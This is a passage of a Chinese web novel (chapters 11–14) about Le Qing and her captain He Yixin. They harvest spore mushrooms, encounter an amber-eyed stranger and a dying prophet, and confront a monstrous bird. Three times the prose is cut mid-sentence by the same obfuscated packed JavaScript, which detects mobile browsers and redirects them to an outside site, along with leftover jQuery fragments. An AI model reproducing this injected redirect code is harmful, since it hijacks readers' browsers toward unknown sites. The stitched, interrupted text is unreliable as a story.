乐晴顺着看过去，所有割下来的蘑菇瞬间变成了碎裂的命珠。 乐晴瞪大眼睛，看着贺以辛把碎裂的命珠收入囊中，咽了咽口水：“贺队，这有多少？” “三百。” 三百碎裂的命珠，就是三十颗命珠，三百万，是三百万！ 这才几下功夫，就有这么多？ 乐晴也不提让更多人来采蘑菇的事情了，撸起袖子就要动手。 这个世界里，有人比她更缺钱吗？既然没有，那就不能出现任何人妨碍她的赚钱大计。 “等等。”贺以辛拦住就要上手抢他刀的手，“我给你的手枪呢？” 乐晴不明所以，拿出小手枪。 贺以辛把乐晴拿枪的手推到一边，让枪口朝外：“扳动扳机。” “啊？” 贺以辛重复：“扣动扳机。” 乐晴听他的话，扣动扳机。 没有震耳的枪响，清脆的划破空气的声音之下，一柄反着光的杀猪刀出现在她的手中。 “？” 乐晴握着杀猪刀，直愣愣地看着贺以辛。 “你不是一直想要一把杀猪刀吗？” 说说而已，他还当真了？真把她当视杀猪为终身事业，对杀猪至死不渝的牛马了？ 乐晴恨不得拿着杀猪刀，往贺以辛身体里捅。 贺以辛默默后退半步：“杀猪刀比双管枪更适合采蘑菇。收回的时候再扣一下扳机，记得不要对准自己。” “……”暂且接受这个牵强的解释，也接受他的关心。 乐晴拿起杀猪刀，弯腰去割蘑菇。 “贺队，你是不是知道我缺钱？” 她表现得挺明显的，不然也不会签署那份不平等的合同。 “知道。” “那你有钱吗？”乐晴想立刻还清那两个亿，至于欠贺以辛的……慢慢还嘛，两年、三年，总会还完的，交点利息也行啊，总比一年内赚够两个亿付入场券容易。 “警告，购买入场券的钱需要自己通过劳动获取，不能投机取巧。”系统响起警告声。 “……算了，当我没说。”乐晴垂头丧气，继续采蘑菇。 能不能把这个系统卖了？ 高价出售金手指系统，破盘价只要两个亿，仅此一只，先到先得！ 11. 赫卡 “贺队，你缺过钱吗？” 回应乐晴的是一阵沉默。 看来是缺过，而且戳到他的不堪往事了，不然怎么一声不吭？ “贺队，其实没事的，人活一世——”乐晴回头想安慰一下贺以辛，顺便跳过这个不合时宜的话题，发现身后空无一人，只有发光的蘑菇，还有漫天的孢子。 贺以辛又不见了。 “……”天杀的，贺以辛怎么又跑了，难道这里又是什么考核？ 可通过考核的条件是什么，拿到多少碎裂的命珠，还是活着离开这里？ 烦死了，每天都这样，一点征兆都没有。 乐晴认命地回头，对上一双明亮的眼睛。 琥珀色的眼睛之上，几缕深棕色的头发和鸦羽般的睫毛交错。 看着像是个人。 他眨了眨琥珀色的眼睛：“是你吗？” 什么是不是她？乐晴后退一步，跟他保持距离。 “不是。” “不是？”他作思考状，站直身体。 乐晴这才注意到，他刚才是弯着腰跟她说话。实际上，他和贺以辛差不多高，肩宽腿长，穿了一身暗红色丝绒西装，闪光的孢子纷纷扬扬落在他的身上，又慢慢飘走。 像是出席高级晚宴的上层人士，而非出现在野猪林。 他摇头，否定乐晴的回答：“你是。” 到底什么是不是，这个人又是谁？ “你是谁？”乐晴默默准备好双管枪。 近战用杀猪刀，如果他想跑，就用双管枪。 “我？”他琥珀色的瞳孔在孢子发出的亮光下泛着鎏金光泽，笑起来露出不那么明显的虎牙。 “——你猜？” 猜你大爷。 乐晴直觉认为这个人不好惹。 在这个人生地不熟的地方，在不清楚对方底细的情况下，她不能主动攻击。而且如果现在是在现实中，她杀人是犯法的吧？ “统子哥？” “……” “统子哥！” “……” 好嘛，又被拉进什么莫名其妙的空间了。乐晴心如死灰。 不知道怎么离开，但如果这是在独立于现实的空间，杀人至少不犯法。 “你在找什么？”他十分“好心”地问。 “没什么。”乐晴看着那双琥珀色的眼睛，下意识觉得他没有威胁，但又做不到真的把他当一个正常人。 这个空间能有什么正常人？在真正的正常人眼中，她恐怕也不怎么正常。 “告诉我，或许我可以帮助你。” “我怎样才能离开这里？” “离开这里？”他似乎很不理解，目光灼灼地看着她，“为什么要离开这里，这里不好吗？” 他将右手食指伸到空中，发光的孢子从树上散落下来，落在他的指尖，他虔诚地看着那些发光的孢子，像是在欣赏一只美丽的闪蝶。 “——这里是最接近完美的地方，是最趋于稳定的地方。” 他没事儿吧？ 察觉到乐晴的目光，他轻轻抖了抖手指，放飞那些孢子。 “看起来，你也不喜欢这个地方。”他弯起眉眼，发自内心地微笑着，“很高兴有人跟我一样觉得这里糟糕透了，你很有眼光。” “？” 不是前一秒还说这里是最接近完美的地方，怎么下一秒就说这里糟糕透了，他精神分裂？ 她不喜欢这个地方，但也没觉得这个地方糟糕透了。 这是一个诡异且残忍的世界，她不喜欢。即使她原来只是个起得比鸡早的杀猪佬，可那也是她经历了二十多年的磨难，自己选择的生活，她有严厉但是关心他、耐心教他的师傅。 她努力了二十多年，才拥有这些。 可她没有离开这里的办法。 她只能接受，和当年一样，从零开始，至少这里给她留了重新来过的机会，她或许可以在这个地方得到她想要的东西，即使那充满了危险。 她觉得糟糕透了的是看上去精神不正常的他。 “看在我们志趣相投的份上，我送你离开吧。”他朝她靠近，看着她的眼睛，“不过你要答应我，坚持下去。” 坚持什么，采蘑菇还是杀猪？ 可惜还没等乐晴有所反应，已经失去了意识。 - “乐晴？” 贺以辛找不到乐晴了。 “贺队，你缺过钱吗——” 只是眨眼的功夫，乐晴的声音和她的人一起凭空消失。 贺以辛看着骤然变换的空间，皱了皱眉。 又是孢子导致的时空波动。 他现在可能还在野猪林，只不过换了一个地方，也可能被孢子导致的空间波动送到了一个新的空间。 野猪林这种精神污染严重的地方，能量波动异常很常见，也经常会发生空间波动的事情，所以这里一直被当作禁地，除了安全部需要执行任务的人和不怕死只认钱的人，没人会过来。 倒不是会造成多大的伤害，只是因为时间和空间被扭曲，人会迷失在新的时空里，找不到出口。 如果人在空间里迷失，可能会去往同一时间线上的一个新的空间。暗湖就是一个精神污染浓度极高，时时刻刻在扭曲空间的地方。 如果还在原空间只是迷失了时间，找到了野猪林的出口，他到达的也可能是十年前、二十年前、或是十年后的出口，而原本那个时空的他，消失了。 贺以辛密切观察野猪林很久了，明明最近的野猪林很稳定，怎么会突然…… 有两种可能。 一，他的观测出错了，最近野猪林的空间波动频繁，只是他没有注意到。 二，有什么人出现在野猪林，导致孢子活动异常激烈，导致了空间波动。 他目前没有办法判断到底是哪种可能，当务之急是找到乐晴，不管她是在时间里迷失还是在空间里迷失，他都要带她回来。 贺以辛循着孢子移动的方向走。 孢子移动的方向一般是新的空间形成的方向，如果时空隧道没有完全闭合的话，他或许能找到乐晴。 孢子闪着光，随着他的脚步明灭起伏，聚成悬浮的磷火，散作游弋的光尘，像夜海航船追逐着深水母群幽邃的航灯。 他不担心乐晴会死，但是…… “赫卡，你来找我了？” 被抓住衣服下摆，贺以辛无奈地掰开他的手：“怎么又跑出来了？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271274|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“赫卡，他来找我了！”他抓住贺以辛的手，像是抓住了救命稻草，眼里亮起希冀的光，“他来找我了！我们等待的结局，马上就要到来了……可是他是来毁灭这个世界的！我祈求自己的湮灭，可是这个世界不可以被毁灭！赫卡，我们要想办法，保住这个世界，就算我们湮灭，这个世界也要延续下去，赫卡！” 他抓着贺以辛的手从地上爬起来，卑微祈求的声音越来越撕心裂肺，涕泪横流：“怎么办？赫卡，野猪林的领域在扩散，终有一天它会吞噬掉整个世界的。赫卡，你想想办法，我已经开始腐烂了，我无能为力啊，我只能看着世界死去，我无能为力啊！” “好了，你别着急，会有办法的。”贺以辛扶他起来，到一旁的树下坐下。 他的状态越来越差了。 “赫卡，我在腐烂，我快要消失了，可是世界也要消失了……”他靠在树干上，盍上眼皮，嘴里还一直念叨着那些词。 贺以辛叹了一口气。 无能为力，先知无能为力，他也无能为力啊。 所有人奉为神明，奉他无所不能的先知，怎么会无能为力呢？ 贺以辛看着这个满身伤痕，衣衫褴褛的人，无奈至极。 先知，曾经也是意气风发，预知了每一次火灾，可没有一次能阻止。 被烧成焦炭的不只是这里的土地，还有先知。 肥沃的土壤现在寸草不生，手持神谕的先知也已垂暮。 而他，自以为掌握了自然的法则，却对已知和未知都一知半解。 先知倒下了，他不得不肩负起一切，当他不得不倒下的时候，他要把这重担交给下一个人。 先知靠在树干上，睡着了。 睡下吧，沉睡的时候，先知的感知是停滞的。 至少游荡在野猪林的时候，有陷入沉睡的时候，至少在这期间，他是平静的。 孢子已经走远了，贺以辛快步跟上。 - “乐晴，醒醒，乐晴……” 是贺以辛的声音。 乐晴听得到，有意识，但是动不了。 贺以辛蹲在她的身边，扶着她的头，把她从差点埋葬她的孢子里抱出来。 乐晴没有因为孢子影响被带进新的时空，看样子，她只是睡着了。 她—— 贺以辛看着她快速颤动的睫毛。 眼下一片淡淡的青黑，看样子周末也没休息好。 贺以辛必须尽快教会她，她不得不尽快学会。 时间太少了，他们都太着急了，每个人都很累。 好在呼吸平稳，她只是睡着了。 贺以辛的拇指无意识摩挲过她手里紧握的刀柄。 难得她天生就有这样的素养，无论什么情况下，都记得牢牢抓住自己的武器。 孢子群在二人周身悬浮成淡蓝色的膜，将现实与虚幻的界限晕染得模糊不清。 此刻的平静反而显得愈发诡谲。 孢子带着微风拂过她落在耳廓的碎发，她的嘴唇微颤，好像在说什么。 贺以辛贴近去听。 “贺队……” “我在，怎么了？” “贺队……我缺钱……” “……” 12. 开除 乐晴好像做了一个很长很长的梦。 梦里，她的师傅在凌晨三点叫她起床，带她去村东头的老邓家里杀猪。 天还没亮，车只能停在水泥路上，坎坷的土路上她走得歪七扭八，四方都传来狗吠声，还有断断续续的鞭炮声。 快过年了。 乐晴抬头，月明星稀，寒风吹过，枝头挂着白霜。 “小晴，抓紧点，先别看星星啦。”师傅伸手在她眼前晃了晃。 乐晴回过神：“师傅，明天我们要杀猪吗？” “暂时没有。”师傅矫健的步伐没停，不忘回头打趣她，“怎么，明天有约会？” 乐晴摇头：“没有，打算去看个电影。” “最近有什么好看的电影吗？” “嗯……”乐晴想了一下，“好像没有，我打算去看个动画电影。” “猜到了。” “啊？” 师傅神秘一笑，从外套口袋里拿出来一张纸质的电影票：“明天下午三点的电影票，看完电影还可以去吃个晚饭。应该是你想看的。” 乐晴接过电影票，有些意外。 “师傅，你怎么会突然想到送我电影票？” “看你最近有些魂不守舍，可不能因为心情不好导致工作出错，你顶着的可是我徒弟的名头，别败了我的名声。” 乐晴笑着把电影票收进口袋。 师傅总是这样，明明很照顾她，就是嘴硬不承认。 “放心吧，师傅，我一定会努力跟您学本事的。” “嘴上说的我可不信，要看你怎么做。”师傅用镰刀砍开前面拦路的枯树枝，“春节什么打算，不打算出去旅游散散心？” 春节…… 乐晴摇头：“还是老样子，没什么地方想去的。” 她还是更想多攒点钱。 乐晴佯做不高兴：“师傅，你是不是不欢迎我？” “那肯定啊，你去我家过年，我还要多给你两千红包，我多亏啊。”师傅嘴里哼哼着，嘴角却往上扬起，“今年陪师傅整点红酒？你师娘上次买了好几瓶不一样的回来，非说要我叫你去一起喝，都不让我开。” “那当然好啊。” 突然，一根顶部镶嵌着太阳图腾的权杖刺穿她的腹部，鲜血混着器官从腹腔里掉出。 乐晴不敢置信地回头，看着手持权杖的师傅。 “师傅……” 她不知道自己做错了什么，为什么师傅要杀她，为什么会用这种漫不经心的眼神看着她。 血液顺着权杖往下流，染红他的手，滴滴答答落在地上。 那双手杀过无数只猪，现在轮到她了。 乐晴的眼神顺着他的手往上，停在他琥珀色的眼睛。 - “师傅！”乐晴惊醒，大汗淋漓，骤然对上两团散发着琥珀色光芒的孢子。 贺以辛伸手驱散那两团孢子，给乐晴递过去纸巾。 “做噩梦了？” 乐晴有些迟疑地接过纸巾，擦拭着脸上的汗。 “贺队？” 她正靠在一棵树干上，旁边坐着的是贺以辛，他正在擦拭他的黑色铁链。 “是我。”贺以辛顿了一下，伸出手，“要不要掐一下？” “……”乐晴摇头。 她已经很清醒地意识到，不管是虚幻还是现实，痛觉都是存在的。 和师傅去杀猪是做梦，那她见到的那个男人是梦吗？乐晴环顾四周。 不一样，和她见到那个男人的地方不一样。 那也是梦吗? “贺队，我是不是被这里的精神污染影响了？” “是也不是。这里的精神污染浓度高，趋于稳定，不会对我们的精神产生太严重的影响，但是会导致空间波动。”看乐晴的样子，不像只是受到空间波动影响的样子，贺以辛补充，“但是空间波动的过程中，你可能会穿梭在精神污染浓度不稳定的多个空间内，在这期间，你可能受到精神污染的影响。” 乐晴点头。 那或许就是了。 “贺队，我睡了很久吗？” “没有。”贺以辛看乐晴的状态在逐渐恢复了，站起来朝她伸出手，“可以吗？” 乐晴点头，抓着他的手站起来。 “今天了解得差不多了，我们先离开这里。” 乐晴默默跟在后面。 好不容易出了一次任务，贺以辛的目的应该不只是带她了解野猪林到底有什么，就这样离开，说明是她的状态不对，无法支撑任务继续下去。 “贺队，我今天的表现是不是不合格？” “没有不合格。” 贺以辛并没有批评她。 贺以辛停下脚步，回头看乐晴：“相反，你今天的表现很不错。野猪林是这里精神污染最严重的地方之一，你能靠自己醒过来，已经很不容易了。” 自己醒过来？这么说的意思是，如果她一直没有醒过来，贺以辛会叫醒她吗？ 乐晴没问出口。 “贺队，如果我的表现不好，我是不是会被金字塔开除？” 如果被金字塔开除了，她还有机会还清两个亿吗？ 如果被金字塔开除，她是不是会被扔回贫民区，继续流浪的日子？ 她在孤儿院的时候，就一直一个人，后来毕业了，也和流浪者一样在城市里流浪，白天在公司，晚上在出租屋。 直到后来最绝望的时候遇到愿意教她的师傅，每一个团圆的日子，她才有了去处。 如今，她又一次失去了。 “对自己有点信心，你没有自己想象得那么弱小。”贺以辛淡淡道，“记得我们第一次遇见的那天吗？” “记得。” 也就是四天前的事情。 那天她去捡碎片，被贺以辛提着领子带回金字塔。 “我攻击你的时候，没有收力气，你接住了铁链。” 意思是说，就战斗力来说，她还算厉害？ 贺以辛继续说：“我不会挑废物进入金字塔。” “贺队……”乐晴扁着嘴。 贺以辛其实也就是看上去油盐不进，其实人还是挺好的，甚至会安慰人，虽然安慰的方法九曲十八弯，她要听半天才听明白。 鉴于贺以辛隐瞒她的也不是多严重的事，她就暂且一笔勾销，不怨他了。 “贺队，我饿了。” 来到这里之后，她一直对时间没有准确认知，只有肚子会在固定的时间饿。 来的路上贺以辛给她带了早餐，所以现在，应该到午餐时间了。 “……” “贺队，这里有没有什么工具，是可以看时间和联系别人的？” 乐晴不理解，都赛博世界了，怎么手机、电脑这类设备反而没有，就连手表都没有。 “看你的随身空间。” 乐晴不懂，但是照做。 打开随身空间，右下角竟然有一个圆圆的头像，头像旁边显示着现在的时间，12：21分。点进头像，可以看到自己所属组织，点进所属组织，可以看见组织内所有工作人员的联系方式。 不早说？ 乐晴觉得，这个随身空间有必要配备一份使用说明书。 - 回到金字塔的时候，从上到下就忙疯了。 李茉子抓住刚进门的贺以辛：“贺队，这次真出大事了！” “别急，去会议室说。”贺以辛继续往前走，不忘叫上乐晴，“乐晴，跟上。” “啊……好。” 虽然不知道出什么必须去会议室才能说的事情了，也不知道为什么自己要跟上，但乐晴还是老实跟在后面。 来到会议室，里面除了刚赶到的贺以辛、乐晴和李茉子，还有丁凡和姚芸方，她都见过的。 “贺队，第三分队资源不足，黎楷期带人去支援了。”丁凡解释。 “好。”贺以辛带乐晴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271275|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐下，示意李茉子汇报现在的情况。 李茉子打开投影。 屏幕里，是一片荒瘠的草地，偶有风带着风滚草吹过。 几秒之后，屏幕闪了几下，一只长相奇怪的鸟从地底爬出。 那是一只头部长得像乌鸦的鸟，它的头骨包裹在熔岩状半透明的皮肤下，颅顶裂开三只纵向排列的复眼，瞳孔是透明的，能透过看见血液在血管里涌动。 它的喙部布满刻痕，好像是什么文字。 它从地里爬出，仰头发出凄厉的叫声，露出喙中暗藏着的七圈螺旋状利齿，随之滴落黑红色的粘液。 鸟的羽毛是黑色的，泛着金属光泽，能隐约看到浅蓝色的火焰在跳动，每根羽毛上都长着眼睛，一眨一眨，和他们对视着。 乐晴看见那只鸟对她张开嘴，发出她能听懂的声音。 “你叫什么？” “我叫……” 我叫什么？看着那只鸟朝她走近，她忽然脑子一片空白，不记得自己叫什么了。 我是谁？ “你是我的食物。” 它朝她走来，红黑色的粘液不断滴落在地上，将本就贫瘠的土地灼烧得焦黑。 “我是……食物？” 她的脑海里突然出现一个画面。 臭气熏天的垃圾场内，到处是爬走的老鼠和蟑螂，最上层的垃圾上还有积雪。 角落里，有一只摇椅。 摇椅上，躺着一个被冻得通红的婴儿。 她是被遗弃的。 一只黑色的鸟在垃圾场上方盘旋了很久，终于在夜幕降临之时降落，站在摇椅之上。 摇椅轻晃，黑鸟啄食着摇椅上尚存一丝气息的婴儿，从眼球开始，到脑容物，到内脏，鲜血沾满它刻满符文的喙，碎肉甩到白雪上，留下斑驳的血迹。 “我是……食物……” 嘭！ 我不是食物！乐晴忽然清醒过来。 乐晴的视野重新变得明亮起来，眼前的投影已经熄灭，投射投影的器具碎了一地。 四周，李茉子、姚芸方、丁凡，大家好像都是刚刚从幻觉中清醒过来，脸色煞白。 乐晴回头，贺以辛的脸色更差，手里握着的黑色铁链还没来得及收回去。 是他打碎了投影。 “贺队，你还好吗？”乐晴觉得他的状态很不好。 “我没事。” 姚芸方摁着太阳穴：“刚才那是什么？” 李茉子摇头，心脏还怦怦跳个不停：“不知道。” “怠惰之眼，伊格纳乌斯之嗣。” “伊格纳乌斯之嗣？” “就是刚才的那只鸟。”贺以辛确认投影已经不会导致危险之后，这才开始解释，“伊格纳乌斯之嗣，但凡描绘过该鸟形象的载体，会成为传播声波攻击的介质，比如刚才的投影。伊格纳乌斯之嗣的鸣叫频率锁定在人脑α波范围8-13赫兹之间，会诱发海马体异常放电，导致人的思维意识混乱。” 是可以用科学解释的原理，而不是精神污染。 当大脑充满α波时，人的意识活动会受到明显抑制，难以通过逻辑进行思考，只能依靠直觉感知存在。 可贺以辛觉得，这远比精神污染可怕。 伊格纳乌斯之嗣栖息在现实维度与地狱夹缝之间，而且，据他所知，伊格纳乌斯之嗣栖息在至少五百年后的夹缝，而不是现在。 另外，伊格纳乌斯之嗣意外具有“恋家癖”，不会主动离开巢穴。 而现在，伊格纳乌斯之嗣出现在了不应该存在的五百年前的现在，出现在了不该出现的时空。 只有一个可能——有人引导伊格纳乌斯之嗣来到这里。 有能力使时空出现混乱，召唤不属于该时空的人，只有指挥部的几个人，或者是他还没有找到的应该属于指挥部的人。 贺以辛扫视会议室里的几个人。 是谁，引导伊格纳乌斯之嗣来到这里？ 13. 宁言柯 乐晴被放回宿舍休息，贺以辛带着其他人去对付伊格纳乌斯之嗣了。 躺在床上，乐晴心有余悸。 到底是多可怕的怪物，才会透过一个投影，让指挥部的所有人都陷入意识混乱？ 乐晴翻了个身。 伊格纳乌斯之嗣会通过α波诱发海马体异常放电，导致人的思维意识混乱。这是不是说明，只要是人，都会被影响，不管是天赋异禀的金字塔的人，精神值较高的贫民区的人，还是和平区的人。 甚至是部分动物。 某种程度上来说，这种怪物比单纯会导致精神污染的怪物更可怕。 刚刚吃过午饭，乐晴躺在床上，翻来覆去睡不着。 一方面是撑的，一方面是想着那个伊格纳乌斯之嗣。 纠结半天，乐晴打开随身空间，准备联系贺以辛，却发现三分钟前丁凡给她发来了消息。 [乐晴，一分队第七小组十七点三十从金字塔出发协助清理，你跟他们一起过来。] 丁凡叫她过去？ “统子哥，我可以去吗？” “可以。” “你根据什么做出的判断？” “你的潜意识，你想去。” “……” 来到这个世界之后，乐晴信任的就是这个系统，经过几天的生活，她信任的除了系统还有贺以辛。现在，相比于系统，她更信任贺以辛，毕竟贺以辛比系统更靠谱。 乐晴想了想，给贺以辛发消息。 [贺队，我要跟一分队第七小组一起去出任务吗？] 贺以辛的回复来得很快。 [你跟他们一起过来，我带你。] 原来不是跟其他人一起出任务。 - 一分队第七小组的组长是一个二十五岁的年轻人，很干练，据说是半年前进入的金字塔，因为在三个月前的一场大火中立了大功，又恰逢一分队分出了第七小组，就顺利晋升为第七小组组长。 第七小组出任务开的是专门的车，军绿色的，第七小组一共七个人，加上她八个，分成两排，面对面坐着。 贺以辛说过，金字塔里的人需要出任务的时候，一般会走空中航线。 这辆车走的就是空中航线。 乐晴透过窗户往下看，即使贫民区出了伊格纳乌斯之嗣这种事，和平区的生活依然祥和，现在差不多是下班时间，车水马龙。 “新来的？” 乐晴反应过来是在叫自己，赶紧把视线收回来：“嗯，今天第一天，我叫乐晴。” 第七小组组长笑了笑：“我说呢，对出任务还有点好奇，肯定是新来的。你好，我是一分队第七小组组长，宁言柯。” 宁言柯自我介绍完，从背包里拿出来一瓶绿色包装的饮料：“呐，今天早上我自己榨的青苹果汁，试试？” 乐晴接过瓶子，通过透明的瓶身看着里面黄绿色的液体，咽了咽口水。 真的要喝吗？ 乐晴抬头和宁言柯对上视线，宁言柯紧张地看着她，眼神无言催促着她，好像很期待她喝下之后的反应。 当着这么多人的面，她总不能害自己吧？ “统子哥，我能喝吗，这东西不会毒死我吧？” “无毒，无害。” 就是能喝的意思。 乐晴拧开瓶盖，一股青苹果清甜的气味沁入鼻腔，几句旋律猝不及防闯进她的脑海，她差点脱口而出。 闻着还挺不错的，至少在这个即将出任务的车里，别有一点温馨。 乐晴将瓶口凑近嘴唇，清凉的液体沾上她的嘴唇，滑过舌尖，流入食管。 不好！ 乐晴赶紧把饮料拿开，紧急撤回即将入口的青苹果汁。 无毒无害，但是难喝。 “啊，真的不好喝吗？”宁言柯看着乐晴的样子，有些气馁。 青苹果汁的味道从鼻腔到口腔挥之不去，她的口腔疯狂分泌着口水，似乎要把口腔里残余的味道稀释掉。 乐晴没办法立刻作出回应。 宁言柯虽然热爱厨房，但也对自己的手艺多少有点自知之明，给乐晴送上青苹果汁的时候，也准备好了水。 宁言柯把水递给乐晴，看她皱成苦瓜的脸，多少有些愧疚。 缓过神来，乐晴抬起头，看见宁言柯蔫蔫地靠在靠背上，思考着什么，其他组员都在憋笑。 这么看来，所有人都知道，宁言柯做的青苹果汁很难喝。 乐晴自认为是一个能吃苦的人，但是像宁言柯这样，能把青苹果汁榨得这么苦的，她也是头一次见。 - 车走空中航线不用等交通信号灯，不用和其他交通工具产生联系，不到十分钟就抵达目的地。 宁言柯带队往东走，乐晴要在原地等贺以辛过来接她。 “那我们先走啦，你注意安全。”宁言柯挥手，“有机会，明天我给你试试改良版青苹果汁！” “……”也不是很有必要。 抗拒归抗拒，乐晴表面上还是得答应：“宁组长，下次记得去核。” “你和她聊得还不错？” 听见贺以辛的声音，乐晴回头。 贺以辛不知道什么时候过来的，站在乐晴身后，看着远去的宁言柯。他的袖口有一点烧焦的痕迹，应该是在处理任务的时候被火烧到了。 乐晴仔细看，火烧过的痕迹只是在表面，他应该没有受伤。 “贺队。” “走吧。”贺以辛收回视线，“除了伊格纳乌斯之嗣，还出现了几只比较常见的鸟。” 为什么会有这么多怪物是以鸟的形态出现？ 乐晴跟在贺以辛身后。 鸟象征着什么？ 死亡与不详的预兆，比如乌鸦和猫头鹰。 灵魂的载体或迷失的亡者，比如海鸥。 窥视者和未知力量的化身，比如夜莺。 预言与诅咒的媒介，比如鹳鸟和啄木鸟。 太多了，就乐晴知道的就数不清。 师傅带她在天不亮的凌晨去村子里杀猪的时候，走在路上，经常会听到各种各样稀奇古怪的鸟叫声。 一开始，师傅会装模作样给她讲这里曾经发生过的灵异事件，比如一户人家旁边有一棵生长了几百年的古树，可那户人家嫌古树的枝叶太繁茂挡住了光，就在夜里悄悄把树给砍了。 树被砍倒之后，那户人家里的人接二连三地生病，正经医院去过了，“会看的”先生请过了，都没有好转。其他人都说，他们得罪了神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271276|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一天，有人听到那户人家旁边的电线杆连绵不断传出“笃笃笃”的声音，是一只啄木鸟在啄水泥筑成的电线杆。 那人说，那户人家的人怕是活不了多久了，因为啄木鸟是诅咒的媒介。 第二天下午路过的村民发现那户人家没开家门，敲门没动静，怎么叫也没人应。 找来其他村民一起打开门，果不其然，那户人家的人全死了，死相可怖，扩散开的眼睛瞪着，好像死前看见了很可怕的东西。 发现啄木鸟的那个人惊讶地发现，啄电线杆的啄木鸟不见了。 不光是啄木鸟，猫头鹰，夜莺……师傅还给她讲了不少类似的故事。 后来，乐晴在网上搜到很多更可怕的故事讲给师傅听，师傅被吓住了，“鸟的恐怖传闻”也就没有后续了。 - “贺队，这些鸟……只是怪物吗？” “或许是吧。” 别的鸟他不是很清楚，但至少伊格纳乌斯之嗣不是。 先知说，那是栖息于现实维度与地狱夹缝之间的怪物。 它是不属于这个世界的怪物。 突破时空的界限来到这里足以说明，它不只是怪物。 “贺队，伊格纳乌斯之嗣呢？” “跑了。” “跑了？” 乐晴以为，这么可怕的怪物至少应该带来一场席卷这里的灾难之后再离开才合理，不过她也不是要诅咒这里的意思……或者，贺以辛发挥他强大的能力制服那只鸟才符合剧情。 贺以辛也不敢相信，那只鸟竟然跑了。 它在看见贺以辛等人的时候，伸长脖子发出刺耳的长鸣，然后挥动翅膀，飞上了云层，贺以辛开车去追，汽车差点解体也没追上。 那只鸟真的离开了，至少暂时离开了。 也没什么不好。 拥有令人疯狂的力量，那只鸟势必会引发一场灾难，而贺以辛还没有找到阻止灾难的办法。 那只鸟会席卷重来。 但至少在这期间，他可以尽力推进他的计划，在灾难到来之前，做一点准备。 “嗯，跑了。”说着，两人已经到了目的地。 一个幽深的山洞里布满了红黑色的土壤，土壤的表面海浪一样起伏着，有什么东西试图破土而出。 丁凡、李茉子和姚芸方守在洞口，阻挡着里面的东西冲出来，山壁上沾着好几处带鸟毛的血迹。 “这是……” 乐晴看着这一幕，不敢置信。 姚芸方用匕首把一只试图冲出来的鸟钉在山壁上，确认鸟死透之后抽回匕首，鸟也应声落地。 “阿喀斯，贫民区出现较为频繁，危险程度最高的怪物之一。” 落在地上的鸟“嘭”地一声，化成一颗命珠。 一只鸟等于一颗命珠，划算啊。 乐晴拿出双管枪，瞄准即将破土而出的一只鸟。 “……”贺以辛拦住乐晴扣扳机的手，“不着急，你先注意看。” 看什么？ 乐晴顺着贺以辛手指的方向看过去。 那种叫阿喀斯的鸟，浑身升腾着微弱的火焰，山洞里土壤变得焦黑，就是因为它们身上的火焰。 可火焰是从哪里来的？ 14. 多玛 贺以辛让丁凡他们继续守着，自己则开车带乐晴去往另一个地方。 传说中的“禁山”，多玛。 多玛山上有一座已经被大火焚毁，只剩下残垣断壁的教堂废墟。 “六百多年前，这里是圣母院，每个周末，贫民区、和平区的人都会来到这里。” 恍惚中，乐晴看见圣母院的四周笼盖着什么五彩的物质，这些物质扭曲了时间和空间，乐晴好像看见了六百多年前的圣母院。 说是圣母院，可这座教堂并未将女性视为独立、平等的个体。 他们只是把她当作工具，笼络人心、吸引信徒的工具，信徒来到这里之后，也不把圣母当作信仰。 象征尊贵和胜利、伟大与救赎的圣母雕像被从门廊上剥离下来，摔得稀碎，在门廊底下被人踩来踩去，微笑着的圣母头像被踢到一旁，没有光彩的眼珠直愣愣盯着乐晴看，乐晴只觉得毛骨悚然，圣母嘴角的那抹微笑愈发诡异。 有披着白色长袍的人从乐晴的背后小跑着过去，踩上圣母雕像的身体碎片，把细碎踩成齑粉。 他们在做什么？ 乐晴往里看，看见教堂的钟敲响，沉重的钟声让地上的碎石也震动起来，祈祷的信徒纷纷跑出来，他们双手合十，嘴里念叨着“圣母玛利亚赐福”之类的话，而圣母的雕像就在脚下被他们践踏得粉碎。 “轰——” 突然传出来的爆炸声让乐晴吓了一跳。 教堂爆炸了。 夹杂着焦臭味的热浪朝她席卷而来，又忽略掉了她，朝更远处奔涌而去。 现在不光是圣母雕像，整座教堂都变得面目全非，熊熊大火点燃所有能燃烧的东西，教堂、神像、长椅、信徒……全部被火焰吞噬。 火舌从乐晴脚边舔过，缠住一个试图逃离的信徒的脚踝，将他拽回教堂。 圣母洗刷罪孽、驱除妖魔。 于是，她没有放过任何一个前来祷告的信徒。 圣母的雕像被火焰烧得漆黑，一双黯淡的眼睛透过被烧得焦黑的眼眶往外看。 乐晴稍稍往旁边挪了一步，圣母依然注视着同一个方向。 乐晴顺着圣母的视线回头—— 